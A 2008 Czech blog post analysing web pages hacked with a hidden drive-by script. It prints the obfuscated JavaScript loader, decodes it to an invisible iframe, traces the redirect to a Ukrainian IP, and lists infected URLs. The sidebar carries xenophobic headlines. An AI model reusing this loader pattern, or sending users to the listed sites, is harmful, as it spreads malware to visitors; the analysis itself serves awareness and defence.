Lze chytit vir návštěvou webové stránky?

Vladimír Stwora

27.11.2008 Technická poradna Témata: Počítače 886 slov

Měli jsme tady tento týden dva kritické články proti vyhledávači Google. Myslím, že konsensus čtenářů vyzněl v jeho neprospěch. Ale Google není jen zloduch. Některé věci dělá dobře. Například začíná upozorňovat čtenáře na stránky, které byly „napíchnuty“. Tedy ty, do kterých někdo vtiskl možný škodlivý kód. Pokud je infikovaná stránka zobrazena ve vyhledávači, je u ni varování „Tyto stránky mohou poškodit váš počítač“.

Kliknete-li přesto na stránky, Google vás znovu důrazně varuje, že stránky obsahují něco, co by obsahovat neměly. Navrhne vám návrat na předchozí stránku. Odkaz vedoucí na zasažení stránky dokonce ani není klikací. Velmi rozumné!

Několik takto napadených stránek zde mám. Rozhodl jsem se prozkoumat jejich kód. Pokud to někdo bude dělat po mně, nechť si nejprve vypne Java Script. A zřejmě neuškodí, když vypnete i další doplňky (Java, ActiveX, Shockwave Flash) – pro jistotu.

Některé napadené stránky (neklikat!):

www.okto-systems.com/bnr/php.php
www.davpanipat.ac.in/
fightinggirls.wz.cz/e_links.html

Další najdete lehce zadáním počátku řetězce čísel „60!105!102!114!97!“ (včetně uvozovek) do Google.

Jedna z českých napadených stránek je zde: http://www.volny.cz/l_kopecky/conspiracy/tichezbrane.htm

Na této obsahově ne nezajímavé stránce jsou mimochodem uloženy také Protokoly siónských mudrců – a i ty jsou zavirovány.

Prohlédl jsem si zdrojový kód všech výše uvedených stránek. Všechny obsahují javascriptový kód (v mírných obměnách), který zapisuje něco na stránku. V některých případech je javascript špatně umístěn, takže se neprovede. Podrobněji jsem si prošel kód ze stránky volny.cz, neboť tento kód je správně umístěn a provede se tak, jak útočník zamýšlel. Vypadá takto:

<script>
var temp="",i,c=0,out="";
var if_uniq_var="iu2test";
var start_time="13 Nov 2008 16:45:47";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!105!117!
50!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!
101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!
112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>

Aby nebudil pozornost, používá script ASCII formu zápisu znaků. Pro dekódování řady čísel můžete zkusit stránku http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html

Do „decimal ASCII“ vložíte řetězec u proměnné str a objeví se překlad v čitelné podobě:

<iframe src="iu2.html" frameborder=“0“ style=“display: none“></iframe>

Útočník využívá tagu <iframe>, který umožňuje spustit v rámečku další webovou stránku. Aby se stránka nezobrazila, má nastaveno display: none.

Je to šikovná forma, jak vás nasměrovat nepozorovaně na jinou stránku. V tomto případě se jedná o stránku iu2.html umístěnou na stejném serveru. A cože to je, ta stránka iu2.html? Po jejím vyvolání se v url políčku objevilo další přesměrování, tentokrát na http://91.203.93.49/cgi-bin/index.cgi?iu2test (neklikat!)

Komu patří adresa 91.203.93.49?

Podle Whois to vypadá takto:

inetnum: 91.203.93.1 - 91.203.93.128
netname: ZHITOMIR-NET
descr: pool for co-location customers
country: UA
admin-c: ML7676-RIPE
tech-c: ML7676-RIPE
status: ASSIGNED PI
mnt-by: UATELECOM-MNT
source: RIPE # Filtered
person: Mark Liberman
address: Kiev, Ukraine
e-mail: m.liberman@uatelecom.com.ua
phone: +380963801326
nic-hdl: ML7676-RIPE
source: RIPE # Filtered

Takže ta adresa patří někomu na Ukrajině, provider je v Kijevě. Vypadá to, že se v tajnosti provede script s názvem index.cgi (cgi většinou bývá Perl, ale to lze změnit, takže není možno přesně říct, v jakém jazyku je script napsán) na serveru s adresou 91.203.93.49.

Co všechno by mohl takový tajně spuštěný kód dělat? Nejsem hacker a neznám ani desetinu z černé magie hackerských nástrojů. Obecně platí, že scripty nemají normálně přístup na disk uživatele, nicméně jej mohou získat vhodně naformátovaným požadavkem na některý děravý „přílepek“, např. microsftí ActiveX nebo Flash od Shockwave. Hodně záleží na operačním systému a na tom, jak dobře je záplatovaný. Nezáplatovaná Windows jsou vždy zranitelná, slyšel jsem o možnosti číst poštu a dokonce provádět jakékoliv systémové příkazy. Myslím, že i u záplatovaných Windows lze pomocí javascriptu či javy podsunout do prohlížeče proxy server. Zkušenější uživatel by na to zřejmě rychle přišel, méně zkušený ne. Přes proxy server by mohl útočník zaznamenávat všechny vámi navštívené stránky, včetně bankovních stránek, odchytávat hesla apod. Tedy krádež identity. Existuje i možnost číst křížově cookies, tedy cookies jiných stránek. Čtenáři mě jistě doplní dalšími hrůzostrašnostmi.

Bylo by dobré upozornit majitele stránek l_kopecky, že se mu někdo naboural do kódu. Zdá se, že k nabourání došlo 13. listopadu (v adresáři, který lze vypsat[!]) http://www.volny.cz/l_kopecky/conspiracy/ vidíme celou řadu souborů přidaných nebo upravených právě 13. listopadu. Majitel stránek o tom zjevně dosud neví. Bohužel, dotyčný autor nemá na stránkách email. :-( Máte-li někdo kontakt na toho pána, prosím, dejte mu vědět.

Nakažené stránky tedy existují a mohou představovat nebezpečí při pouhé návštěvě. Paranoidním uživatelům internetu bych doporučil vypnout javascript, ale toto řešení vás brzy začne otravovat. Zjistíte, že zhruba třetina navštívených stránek prostě nefunguje nebo funguje omezeně - včetně Zvědavce.

Uživatelé Firefoxu mají možnost nainstalovat doplněk NoScript, ale to také není ideální řešení. Při každé návštěvě stránky se scripty na vás vyskakuje okno a ptá se, zda má prohlížeč script povolit. Lze předem nastavit bezpečné stránky, kterým věříte, ale kdo se s tím má babrat?

Ideální řešení podle mě neexistuje. Snad jen pokud vás Google varuje, že stránky jsou nakažené, věřte mu. Vyjímečně nekecá.

Známka 1.3 (hodnotilo 125)

Oznámkujte kvalitu článku jako ve škole
(1-výborný, 5-hrozný)

1  2  3  4  5 

Káva pro Zvědavce

47

Být v obraze něco stojí.
Připojte se k ostatním a staňte se
také sponzorem Zvědavce, stačí
částka v hodnotě jedné kávy měsíčně.

Za měsíc září přispělo 107 čtenářů částkou 14 198 korun, což je 47 % měsíčních nákladů provozu Zvědavce.

Bankovní spojení: 2000368066/2010
Ze Slovenska 2000368066/8330
IBAN: CZ4720100000002000368066
BIC/SWIFT: FIOBCZPPXXX

Bitcoin:
165eUVffx5CuUNwr12JbqqZi6AtrbN22Y7
Další možnosti platby › Související články ›

Ve zkratce

Centrální španělská vláda nám názorně předvádí evropské hodnoty23.09.17 13:01 Španělsko 0

Merkelová byla mohutně vypískána v Mnichově23.09.17 12:11 Německo 2

Okupanti se Finsku snaží vyvolat soucit, vydírají22.09.17 16:36 Finsko 0

Pražští taxikáři vyhlásili městu válku kvůli Uberu22.09.17 16:31 Česká republika 3

Potěšující rozsudek Městského soudu v Praze19.09.17 16:16 Česká republika 5

Afričtí okupanti znásilňují v Itálii. Řešení? Více kamer19.09.17 15:44 Itálie 6

Rasové nepokoje v St.Louis17.09.17 10:22 USA 0

Rasismus v České Televizi16.09.17 09:06 Česká republika 1

Řím: Migrant nezaplatil lístek16.09.17 01:19 Itálie 1

Berlín: Migrantský mob napadl dva Němce16.09.17 01:17 Německo 0

Itálie: tropická infekce chikungunya, malárie a západonilská horečka15.09.17 23:33 Itálie 1

Muž za pokřiku Allah akbar! zaútočil na dvě ženy kladivem - mají vážná zranění15.09.17 23:30 Francie 0

Zoufalost francouzské policie15.09.17 16:31 Francie 1

Multikulti víkend v západní Evropě15.09.17 16:27 Evropská unie 7

Po Mnichovu 1938 v Československu - fotografie14.09.17 21:45 Česká republika 0

Zločinci a kriminálníci mají stále více práv13.09.17 21:07 Česká republika 6

Uprchlíci jezdí z Německa na dovolenou do zemí, z nichž utekli13.09.17 17:07 Německo 2

Přešli jsme na nový server12.09.17 18:05 Neurčeno 8

Zatýkat černochy za rabování je rasismus! padlo v USA po hurikánu12.09.17 15:55 USA 4

Na Floridě po hurikánu Irma rabují - hádejte kdo11.09.17 16:32 USA 3

Měnové kurzy

USD
21,81 Kč
Euro
26,06 Kč
Libra
29,43 Kč
Kanadský dolar
17,68 Kč
Australský dolar
17,38 Kč
Švýcarský frank
22,50 Kč
100 japonských jenů
19,48 Kč
Čínský juan
3,31 Kč
Polský zloty
6,10 Kč
100 maď. forintů
8,41 Kč
Ukrajinská hřivna
0,83 Kč
100 rublů
37,91 Kč
1 unce (31,1g) zlata
28 293,35 Kč
1 unce stříbra
370,70 Kč
Bitcoin
81 571,35 Kč

Poslední aktualizace: 23.9.2017 18:33 SEČ

Tuto stránku navštívilo 18 429